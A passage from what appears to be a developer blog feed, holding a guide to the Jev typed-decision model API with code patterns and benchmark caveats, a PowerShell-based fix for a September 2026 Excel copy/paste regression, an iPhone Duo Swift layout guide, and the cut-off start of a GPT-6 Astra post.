client = TypeSafeClient()

response = client.system_one(
    state={
        "ticket": {
            "subject": "Duplicate charge",
            "messages": [
                {"from": "customer",
                 "text": "I was charged twice for order A-104. Please refund the duplicate."},
            ],
        },
        "order": {"id": "A-104", "charges": [
            {"amount_usd": 49, "status": "captured"},
            {"amount_usd": 49, "status": "captured"},
        ]},
        "refund_policy": "Duplicate charges are eligible for a refund.",
    },
    questions={
        "department":       Choice(instructions="Which team should handle this",
                                   criteria={"billing": "Payment or subscription issues",
                                             "technical": "Bugs or integration problems",
                                             "sales": "Pricing or account questions"}),
        "frustration":      Score(instructions="How frustrated the customer appears",
                                  criteria=["Calm, just stating facts",
                                            "Frustrated but civil",
                                            "Very angry, strong language"]),
        "refund_requested": Noul(instructions="The customer is explicitly asking for a refund"),
        "policy_supports":  Noul(instructions="The stated refund policy covers this situation"),
    },
)

dept = response.answers["department"]
print(dept.choice, dept.confidence)
print(response.answers["frustration"].score)
print(response.answers["refund_requested"].noul)

The same in TypeScript:

import { choice, noul, TypeSafeClient } from "@typesafe-ai/sdk";

const client = new TypeSafeClient();

const response = await client.systemOne({
  state: { document: "I was charged twice. Please fix this ASAP." },
  questions: {
    category: choice("What is this ticket about?", {
      billing: "Payment or subscription issues",
      technical: "Bugs or integration problems",
      other: "Anything else",
    }),
    urgent: noul("The message conveys urgency"),
  },
});

console.log(response.answers.category.choice);  // types inferred from your questions

State is whatever you need it to be

A string, a JSON object, or an array of text. Use an object when there is more than one piece of context.

state = "My card was charged twice."                               # simple
state = {"message": "...", "order_id": "A-104"}                    # named fields
state = ["Hi", "My customer number is TS1337.", "Charged twice."]   # a conversation

Text only. No images, audio or video. Transcribe or caption first.

Context limits work differently from an LLM, because state is ingested once and questions run in parallel over it:

64k tokens for state and all questions together
32k tokens for state plus the single longest question

Five patterns worth stealing

Pattern 1: speculative fan-out

Questions are evaluated in parallel, so a tenth question costs tokens but almost no time. This inverts the usual instinct to make a cheap call first and a follow-up only if needed. Ask everything up front and let code decide what was relevant.

response = client.system_one(
    state=ticket,
    questions={
        "category":       Choice(instructions="Broad category of this ticket",
                                 criteria={"bug_report": "Something is broken or erroring",
                                           "billing": "Charges, invoices, refunds",
                                           "feature_request": "Asking for new functionality",
                                           "account": "Login, permissions, security"}),
        # only meaningful if it IS a bug report. Ask anyway.
        "bug_severity":   Score(instructions="How severe is the reported issue",
                                criteria=["Cosmetic; no impact",
                                          "Degraded feature; workaround exists",
                                          "Blocking; no workaround"]),
        "has_repro":      Noul(instructions="The user describes steps to reproduce"),
        # only meaningful if it IS billing. Ask anyway.
        "refund_wanted":  Noul(instructions="The user explicitly asks for a refund or credit"),
        "frustration":    Score(instructions="How frustrated the user appears",
                                criteria=["Calm", "Frustrated but civil", "Very angry"]),
    },
)

cat = response.answers["category"]

if cat.choice == "bug_report":
    if response.answers["bug_severity"].score > 1.5 and response.answers["has_repro"].noul > 0.6:
        escalate_to_engineering(ticket_id, severity="high")
    else:
        add_to_bug_backlog(ticket_id)
elif cat.choice == "billing" and response.answers["refund_wanted"].noul > 0.7:
    start_refund_flow(ticket_id)

TypeSafe's cookbook runs a 13-question regulatory briefing over a long Wikipedia article and reports that batching every question into one call is 12.2x cheaper and 10.0x faster with identical answers, versus asking one at a time.

Pattern 2: Confidence-gated routing

This is the one that changes your architecture. Jev is trained with RLCD (Reinforcement Learning for Calibrated Decisions), which optimises probabilities against outcomes rather than human preference. Confidence is therefore meaningful in aggregate: higher confidence really does mean higher accuracy.

So stop writing one threshold for the whole system. Write one per action, scaled to what being wrong costs.

action = response.answers["intent"]

if action.confidence < 0.5:
    route_to_human(user_message)                  # floor: genuinely unsure

elif action.choice == "check_balance":
    show_balance(account_id)                      # read-only, low bar

elif action.choice == "approve_transfer":
    if action.confidence > 0.85:                  # moves money, high bar
        approve_transfer(account_id)
    else:
        ask_user_to_confirm("Approve this transfer?")

else:
    route_to_human(user_message)

You also get the raw .probabilities if TypeSafe's confidence statistic is not the measure you want. A flat distribution means the options were not distinguishable from the state you gave it, which is frequently a signal that your criteria are wrong rather than that the model is confused.

Pattern 3: composite scoring

Break a fuzzy judgment into independent dimensions, score each atomically, and combine with weights you control. This beats asking "how good is this candidate," which hides several judgments inside one answer.

response = client.system_one(
    state=resume_text,
    questions={
        "python_depth":    Score(instructions="Depth of Python experience shown",
                                 criteria=["None mentioned", "Mentioned, no detail",
                                           "Used in projects", "Primary language",
                                           "Deep expertise: architecture, performance"]),
        "team_leadership": Score(instructions="Experience leading engineering teams",
                                 criteria=["None", "Informal mentorship", "Led a small team",
                                           "Managed direct reports", "Managed multiple teams"]),
        "system_design":   Score(instructions="Experience designing distributed systems",
                                 criteria=["None mentioned", "Contributed to discussions",
                                           "Designed components", "Owned a system's architecture",
                                           "Designed at scale across domains"]),
    },
)

a = response.answers
composite = (
    0.40 * (a["python_depth"].score / 4) +
    0.25 * (a["team_leadership"].score / 4) +
    0.35 * (a["system_design"].score / 4)
)

Re-weighting is now a code change, not a re-prompt. You can A/B it.

Pattern 4: The Cascade

Jev is not a replacement for Opus 5 or GPT-5.6. It is the thing that decides which requests deserve one.

def handle(message):
    r = client.system_one(
        state=message,
        questions={
            "intent":     Choice(instructions="Primary intent of this message",
                                 criteria={"order_status": "Asking about an existing order",
                                           "product_question": "Asking about a product",
                                           "return_exchange": "Wants to return or exchange",
                                           "complaint": "Unhappy, wants resolution"}),
            "complexity": Score(instructions="How complex is this to resolve",
                                criteria=["Simple lookup or standard procedure",
                                          "Requires judgment or multiple steps",
                                          "Unusual edge case, escalation needed"]),
        },
    )
    intent, complexity = r.answers["intent"], r.answers["complexity"]

    if intent.confidence < 0.5:
        return route_to_human(message)

    if intent.choice == "order_status":
        return lookup_order(message)                      # pure code, no LLM at all
    if intent.choice == "product_question":
        return handle_with_llm(message, PRODUCT_SPECIALIST)
    if intent.choice == "return_exchange":
        return handle_with_llm(message, RETURNS_SPECIALIST)
    if intent.choice == "complaint":
        if complexity.score > 1 or complexity.confidence < 0.5:
            return route_to_human(message)
        return handle_with_llm(message, COMPLAINT_RESOLUTION)

One branch never touches a model. Two load different specialists. One escalates.

On a million tickets, using TypeSafe's per-case figures, that is roughly $6,480 instead of $30,400, with around 800,000 answered in under half a second instead of ten.

Pattern 5: Retrieve, then judge

There is a step in that cascade Jev does not perform, and it sets the ceiling on everything after it.

Jev has no knowledge of the world beyond the state you hand it. It cannot look anything up. And the jaggedness page is blunt that accuracy falls as state fills with material the question does not need: "retrieve and filter in code first, and send only the fields the question needs."

Read those together and the consequence is sharp. Whatever assembles the state decides what Jev is allowed to know. Pad it and you lose accuracy to context rot. Ground it in a weak source and Jev returns a well-calibrated judgment about bad material, because the state is the only world it has.

So the full pattern is two layers: fetch precisely, then judge cheaply.

from valyu import Valyu
from typesafe_sdk import Noul, Score, TypeSafeClient

valyu = Valyu()          # reads VALYU_API_KEY
jev = TypeSafeClient()   # reads TYPESAFE_API_KEY

# 1. Retrieval: primary sources, filtered before anything reaches the model.
hits = valyu.search(
    "GLP-1 receptor agonists cardiovascular outcomes",
    included_sources=["valyu/valyu-pubmed", "valyu/valyu-arxiv"],
    start_date="2024-01-01",
    max_num_results=20,
    relevance_threshold=0.5,
)

# 2. Judgment: one bounded call per paper, roughly $0.0004 each.
shortlist = []
for paper in hits.results:
    verdict = jev.system_one(
        state={"title": paper.title, "source": paper.url, "content": paper.content},
        questions={
            "is_rct": Noul(
                instructions="This paper reports a randomised controlled trial"),
            "reports_mace": Noul(
                instructions="The paper reports major adverse cardiovascular events as an outcome"),
            "evidence_strength": Score(
                instructions="How strong is the causal evidence presented",
                criteria=["Anecdotal or preclinical",
                          "Observational",
                          "Single randomised trial",
                          "Meta-analysis of randomised trials"],
            ),
        },
    )
    a = verdict.answers
    if a["is_rct"].noul > 0.7 and a["evidence_strength"].score > 1.5:
        shortlist.append((paper, a["evidence_strength"].confidence))

Twenty papers screened on four dimensions for well under a cent, against primary literature rather than whatever a general crawl surfaced.

This generalises past literature review. It is the same shape as TypeSafe's own RAG passage classification and citation check cookbooks: retrieve wide, then use a Noul per passage to filter for relevance before anything expensive sees it. At $0.042/MTok with free output, the filter costs less than the context window it saves.

What people shipped in the first 48 hours

Jev launched September 15. So treat these as launch-week artefacts, not production case studies, and note that all figures are self-reported by their authors. Be discretionary in your adoption.

1,018 research papers classified for $0.08

1kpapers.com by Hassan El Mghari (thread)

The clearest demonstration of the economics, because it runs a generative model and a decision model in the same pipeline and shows the bill for each:

Summarise 1,018 papers with DeepSeek V4 Flash
Send title + summary + 24 candidate topics to Jev
Classify with one Choice
Visualise

Summaries: $3.99. Classifications: $0.08. Median end-to-end latency 256ms per paper.

"I think this is where things are heading: different models for different parts of the workflow, instead of using one model for everything."

He also notes he is running evals on the Jev classifications before replacing the existing ones, which is the right instinct and the one most launch-week demos skip.

A browser agent that books a flight in 7.1 seconds

browser-use/jev-ultrafast · 641 stars · Python

Gregor Zunic (Browser Use) built a browser agent with a dynamic, indexed action space. Each observation turns the page into a numbered element table. One Jev request picks both the operation (CLICK, TYPE_TEXT, SELECT, SCROLL, WAIT, DONE, BLOCKED) and its target. A small LLM runs only when the operation is TYPE_TEXT.

Zürich to London on real Google Flights in 7.1 seconds, $0.0039, page loads included.

The design trick is speculative fan-out applied to actions: click, type and select targets are all asked in the same round trip, and only the one matching the chosen operation executes. Two decisions, one network call.

Computer use at $0.0002 per step

awlevin/typesafe-computer-use

Drives a Mac toward a plain-English goal without sending screenshots to a large model. OCR reads the screen, Jev picks the next action, a writing model is called only for free text.

	Jev	Opus 5 (bare screenshot)
Cost per decision	$0.0002	$0.032
Cost per 12-step task	$0.003	$0.40 to $0.90
Model latency	0.13 to 0.38s	5.2s
End-to-end step	~1.5s	~5.5s

The author's caveat is the most useful line in the repo: the frontier model read event dates off the pixels and compared them unaided, while the classifier needed explicit date parsing built around it. "Every piece of reasoning the frontier model does for free has to be rebuilt here as deterministic state."

A market maker deciding every ~300ms block

jarrodwatts/jev-trader

One decision per Monad block. Jev reads the Kuru MON-USDC order book and answers buy or sell; the bot posts a post-only limit order one tick inside the touch, so it earns the spread instead of paying it. Reported model latency in the event stream is around 81ms, and the hot loop makes exactly two RPC round trips to fit the block budget. Ships with a dry-run mode using real book data and simulated fills.

An autonomous drone with judgment at 2.5Hz

RomanSlack/jev-drone

Worth studying for how carefully it puts Jev in its place:

Rate	Layer	Owner
500 Hz	Geometric flight controller	Code
50 Hz	Guidance and safety reflex	Code, always owns safety
15 Hz	Camera to symbolic scene	Classical CV
~2.5 Hz	Tactical judgment	Jev, advisory only

Classical CV compresses depth and segmentation into range sectors, obstacle height and target bearing. Jev answers three questions in one call: a Choice over manoeuvres, a Score for risk, a Noul for whether the target is genuinely lost or briefly occluded. As the README says, Jev "cannot be the perception layer, and it cannot run at control rate."

Others worth a look

fhshaik/typesafe-mario (73★) plays Super Mario Bros from emulator RAM translated to object-centric JSON. No screenshots.
devagrawal09/jev-review (48★) is a staged code reviewer: Noul risk matrix, then Choice/Score file profiles, evidence selection, severity, conditional routing.
TheoLeeCJ/openjev (166★) reads typed option probabilities off a 4B open model's logits in one forward pass. It is explicit that it reproduces the interface pattern, not Jev's model or training.
phyous/tsai-sc has Jev complete the first StarCraft shareware mission across 421 decisions, with a verification report.
AbdelStark/awesome-typesafe indexes the ecosystem and labels which results rest on private data or single runs.

The pattern across every one of these: keep the loop, the safety and the arithmetic in ordinary code, and use Jev for the narrow judgment in the middle that code finds hard to phrase.

The failure modes (read this before you ship)

TypeSafe publishes a page called "jaggedness" listing what jev-1.13 is bad at. It is unusually honest for a launch and it will save you a week.

It reads literally. Jev answers the question you wrote, not the one you meant. Negations, scoping words and implied conditions land at face value. The tell: you look at a wrong answer and catch yourself explaining what you really meant. That explanation is the missing half of your instruction.

It is not a calculator. It does not count reliably, and error grows with the size of the thing counted. Iterate in code and ask one Noul per item:

result = client.system_one(
    {"items": items},
    {f"item_{i}": Noul(instructions=f"Is `items[{i}]` the name of a fruit?")
     for i in range(len(items))},
)
count = sum(result.nouls[f"item_{i}"].noul > 0.5 for i in range(len(items)))

Dates are text to it, not ordered quantities. Which date came first, how far apart, whether one falls in a window: all unreliable. Extraction is judgment, so use a Choice over enumerated months and days with an explicit "not stated" option. Assembly and ordering are arithmetic, so keep them in code.

Context rot is real. Accuracy falls as state fills with material the question does not need. Retrieve and filter first.

State is not treated as hostile. Text engineered to argue for its own classification can move the answer. If you put user-controlled content into state, that is your threat model to handle. Test it.

Contradictory instructions and criteria confuse it. A Noul where true maps to "no" will underperform. Treat criteria as an extension of the instruction.

It does not generate. No text, no code, no summaries. If you need a value extracted from free text, get candidates with a regex or a generative model and let Jev pick.

The meta-rule from their docs, which is good design advice generally:

Avoid asking the model something code can compute exactly. Avoid hiding several judgments inside one question.

Operational notes

Rate limits for jev-1.13 are 250,000 tokens/second and 1,200 requests/minute. Over either returns 429. Both SDKs retry with exponential backoff and honour retry-after. TypeSafe warns these limits are moving without notice while GPU capacity lands.

Pin your version if you tune thresholds. jev-latest currently resolves to jev-1.13.0 and will move when a new release ships, which can change answers under you. The response's model field reports the versioned ID that answered, so log it.

client = TypeSafeClient(model="jev-1.13.0")   # pin

Billing is input-only. Output tokens are free, which is why speculative fan-out is cheap and why adding options to a Choice costs almost nothing.

There is an agent skill if you build with a coding agent:

claude plugin marketplace add typesafe-ai/skills
claude plugin install typesafe@typesafe-ai
# or, for other agents:
npx skills add typesafe-ai/skills --skill typesafe-ai

The honest scorecard

On TypeSafe's four-workflow evaluation, Jev scores 67.8%, level with GPT-5.6 Terra (67.9%), behind Sol (74.1%) and Opus 5 (73.1%), at roughly 1/200th the cost and 1/50th the latency.

The line that lands hardest: Claude Sonnet 5 scores exactly 67.8% too, at 293x the cost per case and 195x the latency.

Four things to hold onto:

That column is not accuracy. There is no ground truth. TypeSafe builds consensus labels by averaging GPT-6 Astra and Claude Fable 5.1 at high thinking, then scores everyone against those. It measures agreement with two frontier models, which is why neither appears in the results. TypeSafe says this biases toward OpenAI and Anthropic.
It is self-run. TypeSafe designed the workflows, built the harness, ran it. No independent reproduction exists. Evaluate on your own traffic.
"Cannot hallucinate" is narrower than it sounds. Jev cannot return an invalid value. It can return the wrong valid one. The 0% is asserted, not measured: "Our number is not empirical. Schema matching is guaranteed, thus we can confidently add 0% into the plots." The 45.5% comparison is a single outlier (Haiku 4.5); most models sit between 0.58% and 13.2%.
The price may move. TypeSafe cannot prove it is not subsidised, though it says it expects the price to fall rather than rise.

When I would actually use this

Yes: routing and triage, moderation, relevance filtering before an expensive context window, scoring or guardrailing LLM output, tagging at volumes that were previously uneconomic, anything sub-second inside a request handler.

No: generating anything, arithmetic or counting or date math, decisions needing a written rationale for an auditor, one-off complex reasoning, genuinely open answer spaces.

The useful mental shift is that this is not a cheaper LLM. It is a different primitive: a function call that happens to be intelligent, returns a type, and tells you how much to trust it. Once you have that, a lot of code that exists only to survive string output stops needing to exist.

FAQ

What is Jev? A frontier model that returns typed, probabilistic decisions instead of text, in 70 to 500ms.

How much does it cost? $0.042 per million input tokens, output free. About $0.0004 per case on TypeSafe's benchmark.

Can it hallucinate? It cannot return a value outside your schema. It can return the wrong valid value.

Can it write code or prose? No. Not trained to generate text at all.

What are Choice, Score and Noul? The three question types: one-of-N (up to 255), a position on a 2 to 10 level scale, and a yes/no probability.

How do I get access? Waitlisted early access at typesafe.ai; keys at console.typesafe.ai.

Should I replace my LLM? No. Cascade: Jev classifies and routes cheaply, code handles what it can, a frontier model takes the hard minority.

Microsoft broke Ctrl+C and Ctrl+V in Excel

Miner Ninja — Mon, 14 Sep 2026 08:38:49 GMT

Somewhere inside the September 2026 Office updates, Microsoft shot itself in the foot again. Excel decided that copying and pasting cells was no longer part of its job :)

The bug is simple. Press Ctrl+C. Select another cell. Press Ctrl+V. Nothing happens. The copied cells keep their moving border. The target cell stays empty. Excel shows no error and gives no warning. Very Windows: quiet, confident, and completely unhelpful.

Microsoft has confirmed the problem in KB5002914. It can affect Excel 2016, 2019, 2021, and 2024. AutoFill, formula dragging, and number series can also fail.

Maybe a future Office update will bring back copy and paste. Or maybe Microsoft will call it Excel Copy/Paste Plus, add an AI button, and sell it as a new feature. Until then, here is how to fix the real problem.

The good news: the failure is recoverable.

This article covers Windows perpetual/volume Office installations. Test on one machine first, especially if you manage a fleet.

Symptoms of issue

The affected machine usually has all or most of these symptoms:

Copying and pasting inside Excel fails silently
Ctrl+C/Ctrl+V works in Notepad or other applications
The copied Excel cells remain selected, but the destination does not change
Dragging the fill handle does not extend 1, 2, 3, 4... correctly
Dragging formulas or copying ranges can produce incorrect or missing results

This distinction matters. If copying fails everywhere, investigate the keyboard, clipboard service, RDP redirection, endpoint protection, or a third-party clipboard manager. If it fails only in Excel, this Office regression is a strong candidate.

Confirm the Office installation type

Run PowerShell as Administrator:

$paths = @(
  'HKLM:\SOFTWARE\Microsoft\Office\ClickToRun\Configuration',
  'HKLM:\SOFTWARE\WOW6432Node\Microsoft\Office\ClickToRun\Configuration'
)

$paths | Where-Object { Test-Path $_ } | ForEach-Object {
  Get-ItemProperty $_ |
    Select-Object ProductReleaseIds, VersionToReport, Platform, ClientFolder
}

Typical output:

ProductReleaseIds : Standard2021Volume
VersionToReport   : 16.0.14334.20914
Platform          : x64

If this returns nothing, the Office installation may be MSI-based. Check installed products instead:

Get-ItemProperty `
  'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\*',
  'HKLM:\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*' `
  -ErrorAction SilentlyContinue |
Where-Object { $_.DisplayName -match 'Microsoft Office|Microsoft 365' } |
Select-Object DisplayName, DisplayVersion

Recovery option 1: Office 2016 MSI

For the MSI edition of Office 2016, the offending Excel security update is KB5002914. Its removal restored normal copy/paste behaviour in affected installations.

First verify that the update is present in installed programs, or that EXCEL.EXE is the affected build. Then remove KB5002914 by using Settings → Apps → Installed apps (or Control Panel → Programs and Features → View installed updates).

After removal, reboot and test Excel again.

Do not blindly uninstall Windows cumulative updates. KB5002914 is the Office/Excel update; it is not the same thing as a Windows LCU.

Recovery option 2: Click-to-Run Office 2019, 2021, or 2024

Click-to-Run Office does not let you uninstall one individual Office patch. The usual remedy is to move the entire Office installation to the last known-good build.

The following target builds were the pre-incident Volume Licensed builds:

Product:

Office 2019 Volume - 16.0.10417.20197
Office LTSC 2021 Volume - 16.0.14334.20848
Office LTSC 2024 Volume - 16.0.17932.20910

Microsoft documents the supported Office Deployment Tool (ODT) method for reverting Click-to-Run Office. If you are managing a large environment, use ODT, Group Policy, or your endpoint-management platform rather than improvising a different build number at 2 AM. Future-you deserves at least that much respect.

A practical automation script

For small and medium environments, I published a PowerShell helper that:

detects Office 2019/2021/2024 Volume Click-to-Run editions;
detects the Office 2016 MSI case;
sets the appropriate approved target build for Click-to-Run;
starts the installed Office Click-to-Run client;
waits for the expected build and stops on unsupported products.

GitHUB Repository: Excel-CopyPaste-Issue-Fixer

Replace that URL with your real repository URL before publishing this post.

Run it from an elevated PowerShell window:

powershell.exe -NoProfile -ExecutionPolicy Bypass -File '.\Excel-CopyPaste-Issue-Fixer.ps1'

-ExecutionPolicy Bypass applies only to that PowerShell process. It does not permanently loosen the machine's execution-policy setting.

Stop the bad update from returning

Fixing one PC is pleasant. Fixing it again the next morning because the same package redeployed is performance art.

In your patch-management product, temporarily exclude the exact package that upgraded the affected Office family. Search for the version/build reported by the affected endpoint and create an Ignore/Exclude rule for that package. Examples from this incident include:

KB5002914 for Office 2016 MSI;
Office 2019 package containing build 10417.20207;
Office 2021 package containing build 14334.20906 or the later affected deployment build observed in your estate;
Office 2024 package containing build 17932.20976

Use the exact package name shown in your own patch console, not only the examples above. Packaging labels vary between patch vendors.

Keep the exclusion temporary. This was a security update, and rolling back means accepting a security trade-off until Microsoft publishes a corrected update. Monitor the official KB and Office release notes, test the replacement on a pilot machine, then remove the exclusion.

Verification checklist

After the rollback and reboot:

Confirm the Office build:

(Get-ItemProperty 'HKLM:\SOFTWARE\Microsoft\Office\ClickToRun\Configuration').VersionToReport

In Excel, type 1 and 2 in adjacent cells, select both, and drag the fill handle down.
Copy a cell containing a formula and paste it elsewhere.
Copy/paste a range within the same worksheet and into another workbook.
Confirm that Ctrl+C/Ctrl+V still works in Notepad, because at this point we are allowed one boring control test.

References

Until there is an official repair package, rollback plus a temporary patch exclusion is the least glamorous, most effective answer. Which is, admittedly, a very Windows way to solve a Windows problem.

iPhone Duo for iOS Developers: What Actually Changes in Your Swift Code

ArshTechPro — Wed, 09 Sep 2026 21:16:11 GMT

Apple announced the iPhone Duo today — its first foldable iPhone. A 5.4-inch outer display, a 7.6-inch inner display when you open it, ships with iOS 27.x.

The marketing story is the hardware. The developer story is that a lot of assumptions baked into iPhone apps since 2007 just stopped being true. There is now more than one screen. The screen can change shape while your app is running. The safe area is no longer symmetric. And "portrait only" doesn't mean what you think it means anymore.

The good news: if you've been doing adaptive layout properly for iPad, most of this is a short afternoon. If your app hardcodes screen sizes and branches on orientation, you have some work to do.

Here's the practical version.

First: what happens if you do nothing?

Your app still runs. It doesn't crash, it doesn't get pulled. But how much of the screen you get depends on which SDK you last built against:

Built with	Inner display behavior
Older SDK (no rebuild)	Runs, but letterboxed — your app keeps its old aspect ratio, with black bars either side
iOS 27 SDK	Extends left of the status bar, avoiding the camera area
iOS 27.1 SDK	Full edge-to-edge, and standard nav/toolbar buttons lay out vertically

So step zero is genuinely just: rebuild with Xcode 27.1. That alone moves you from "obviously not updated" to "fine." Everything below is the difference between "fine" and "good."

The four poses you now have to support

This is the mental model shift. It's not portrait vs landscape anymore. It's:

Closed, portrait — behaves like a normal iPhone
Closed, landscape
Open, vertical (tall, near-square)
Open, horizontal (wide)

Plus the in-between states: partially folded like a book, or propped up in a tent on a table. Your layout has to survive all of them, and it has to survive transitions between them while state is live.

Change #1: Size classes, not orientation

This is the single most important line in Apple's guidance, and it will break the most apps.

The inner display doesn't honor your supported interface orientations. If your app branches layout on UIDevice.orientation or supportedInterfaceOrientations, that logic is now lying to you.

Use size classes instead — they describe the space you have, which is the thing you actually care about:

// SwiftUI
struct ContentView: View {
    @Environment(\.horizontalSizeClass) private var hSize
    @Environment(\.verticalSizeClass) private var vSize

    var body: some View {
        if hSize == .regular {
            WideLayout()
        } else {
            CompactLayout()
        }
    }
}

// UIKit
override func traitCollectionDidChange(_ previous: UITraitCollection?) {
    super.traitCollectionDidChange(previous)
    let isWide = traitCollection.horizontalSizeClass == .regular
    // reconfigure
}

What to expect on device:

Outer display → same size classes as any other iPhone
Inner display → regular in both dimensions, which is what leaves room for sidebars and two-column layouts

That second row is the one worth internalizing. The inner display is, as far as your layout code is concerned, iPad-shaped.

Change #2: Stop referencing the main screen

UIScreen.main is ambiguous on a two-display device, and Apple has said it's heading for deprecation. There is no longer one screen.

// ❌ Which screen? Nobody knows.
let scale = UIScreen.main.scale
let bounds = UIScreen.main.bounds

// ✅ Ask the trait collection
let scale = traitCollection.displayScale

// ✅ Or get the screen dynamically from the window scene
let screen = view.window?.windowScene?.screen

For layout size, prefer the scene's bounds or the environment over anything screen-derived. Do a project-wide search for UIScreen.main right now — it's usually a five-minute fix and it's the most likely source of weird bugs.

While you're in there, ConcentricRectangle (SwiftUI) and UICornerConfiguration (UIKit), introduced in iOS 26, will match the actual screen corner radius instead of your hardcoded cornerRadius: 12.

Change #3: Safe areas are now asymmetric

On a normal iPhone, the left and right insets match, so a lot of code does this:

// ❌ Assumes both sides are equal
let usableWidth = view.bounds.width - view.safeAreaInsets.left * 2

On iPhone Duo, safe areas and layout margins are frequently asymmetric — the camera is on one side, and in Split View your app occupies half the display with different insets on each edge. Handle each side independently:

// ✅
let usableWidth = view.bounds.inset(by: view.safeAreaInsets).width

The general rule Apple repeats: interactive foreground content stays inside the safe area; background artwork extends past it.

// SwiftUI
ZStack {
    BackgroundArtwork()
        .ignoresSafeArea()   // background: bleed
    ControlsView()           // foreground: respects safe area by default
}

Change #4: Reserved regions (the hinge and the cameras)

This is a genuinely new concept. The device has physical features that carve up the display: the hinge and the cameras. Apple calls these reserved regions, and you can query them.

Two kinds:

.division — the fold. It splits a larger area into smaller ones. It's only active when the device is actually folded; when flat it has zero width and is inactive.
.occlusion — something sitting on top of your content. This is the under-display FaceTime camera.

// SwiftUI
GeometryReader { proxy in
    let folds = proxy.reservedRegions(kind: .division)
    let frames = folds.map(\.frame)
    MyLayout(avoiding: frames)
}

// UIKit
let folds = view.reservedRegions(kind: .division)
let frames = folds.map(\.frame)

Inactive regions are excluded by default. Ask for them when you want to make a structural decision that shouldn't flip-flop as the user opens and closes the device — like "always use an even number of grid columns so nothing lands on the fold":

let folds = proxy.reservedRegions(kind: .division, options: .includeInactive)

When to reach for this: custom, manually laid-out controls. Standard containers — NavigationStack, NavigationSplitView, TabView, List, ScrollView — already adapt to the fold for free, and the system automatically repositions alerts, action sheets, menus and popovers around reserved regions. Don't reimplement that.

Design note that's easy to miss: continuously scrolling content (articles, feeds) should not jump around to avoid the fold. Displacement is for discrete elements — a button, a control cluster, a container — not for a reading surface.

Change #5: Arrangements — a new layout container

New in iOS 27.1. An ArrangementView sits between your navigation container and your content, takes a primary and secondary view, and decides how to place them based on size classes, aspect ratio, and any active division regions.

Think Podcasts: now-playing view plus transcript.

var body: some View {
    NavigationStack {
        ArrangementView {
            PlayerView()
        } secondary: {
            UpNextView()
        }
        .arrangementViewStyle(.split)
    }
}

Two styles:

.split — divides the available bounds between the two views. Horizontally when wider than tall, vertically when taller. Constrain it if you only want one axis:

.arrangementViewStyle(.split.axes(.horizontal))

.overlay — prefers stacking content above/below, and moves to side-by-side as the device folds. Read the Z index to adapt the overlaid view:

struct UpNextView: View {
    @Environment(\.overlayArrangementZIndex) private var zIndex

    var body: some View {
        UpNextList(minimized: zIndex > 0)
    }
}

UIKit equivalent:

let arrangement = UIArrangementViewController()
arrangement.setViewController(playerVC, for: .primary)
arrangement.setViewController(upNextVC, for: .secondary)
arrangement.updateArrangement(.split.axes(.horizontal))

let nav = UINavigationController(rootViewController: arrangement)

Picking one: if your existing layout is an HStack/VStack, that's split. If it's a ZStack, that's overlay. Otherwise — overlay when there's a clear foreground/background relationship and partially obscuring the background is acceptable; split when it's main/detail and neither side should be covered.

Two gotchas: ArrangementView provides no navigation infrastructure, so don't nest a NavigationSplitView inside one. And don't put one inside a List or ScrollView.

Change #6: The hinge API

You can read the hinge directly. onHingeChange in SwiftUI, UIHingeInteraction in UIKit. Both give you a coarse status (closed / partially open / fully open) and a continuous angle.

struct InstrumentView: View {
    @State private var pitchBend: Double = 0

    var body: some View {
        GuitarView(pitchBend: pitchBend)
            .onHingeChange { _, context in
                // nil hinge == device doesn't have one. Always check.
                guard let hinge = context.hinge,
                      hinge.status == .partiallyOpen else {
                    pitchBend = 0
                    return
                }
                pitchBend = bend(for: hinge.angle)
            }
    }
}

That guard is not optional politeness — your app runs on every other iPhone too, where context.hinge is nil.

Important boundary: the hinge API is for interactions and effects — a whammy bar, a parallax, a camera shutter that responds to the fold. It is not for layout. Use arrangements and reserved regions for layout. If you find yourself computing frames from hinge.angle, you're on the wrong API.

Change #7: Multiple scenes and Split View

Two apps side by side on iPhone, for the first time. Every app participates whether it opts in or not.

If you already support resizing on iPad or iPhone mirroring, you're most of the way there — same tools, size classes and scene geometry.

For multiple windows of your own app, iPhone Duo is the first iPhone to support it, and apps that already do this on iPad get it automatically. One rule to know: new windows can only be created on the inner display, never the outer one. So handle the failure case:

// Hides itself automatically when new windows aren't available
UIWindowSceneActivation(...)

And actually handle the error path when requesting a scene, rather than assuming it succeeds.

Change #8: Scene accessories (the fun one)

Scene accessories let your app put content on both displays at once. Main UI inside, supplementary content outside.

The headline case is CameraCaptureAccessory, available when your app is full screen on the inner display with an active camera session. The obvious use: showing your subject their own framing on the outer display while you shoot. Or a teleprompter:

struct CameraRootView: View {
    @State private var model = TeleprompterModel()

    var body: some View {
        CameraView(model: model)
            .sceneAccessory {
                CameraCaptureAccessory(isEnabled: $model.isEnabled) {
                    TeleprompterView(model: model)
                }
                .onAvailabilityChange { model.isAvailable = $0 }
            }
            .toolbar {
                TeleprompterToggle(isEnabled: $model.isEnabled)
                    .disabled(!model.isAvailable)
            }
    }
}

The system controls availability dynamically — closing the device takes it away — so wire up onAvailabilityChange and disable your UI accordingly instead of letting users tap into nothing.

Testing this without a $1,999 device

Xcode 27.1 is out now.

iPhone Duo simulator via Device Hub, with on-screen controls to open, close, rotate and fold. This is how you'll actually verify the four poses.
App Resizability — the app modernization skill from "Modernize your UIKit app" at WWDC26, renamed in Xcode 27.1, now covering SwiftUI and iPhone Duo.
Test Split View explicitly. Half-width plus asymmetric insets is where most layout bugs show up.

The checklist

Rough order of effort-to-payoff:

[ ] Rebuild with the iOS 27.1 SDK
[ ] Grep for UIScreen.main and replace it
[ ] Replace orientation checks with size class checks
[ ] Fix any safeAreaInsets.left * 2 style symmetry assumptions
[ ] Move custom navigation to NavigationSplitView / TabView; consider .defaultTabBarPlacement(.sidebar) on the inner display
[ ] Run every screen through all four poses in the simulator
[ ] Audit centered layouts — would a two-column layout be better?
[ ] Adopt ArrangementView for custom split/overlay layouts
[ ] Adopt reserved regions for your highest-priority hand-laid-out controls
[ ] Consider the hinge API and scene accessories if your app has a reason to use them

The first four are cheap and prevent embarrassment. The rest are where the actual opportunity is — the Duo is going to make it extremely obvious to users which apps got attention and which didn't.

Switching from GPT-5.6 Sol to GPT-6 Astra: Start with Medium Effort

Shinsuke KAGAWA — Sat, 05 Sep 2026 04:59:20 GMT

GPT-6 Astra at high reasoning effort produced the implementation I decided to keep. I still plan to use medium effort by default.

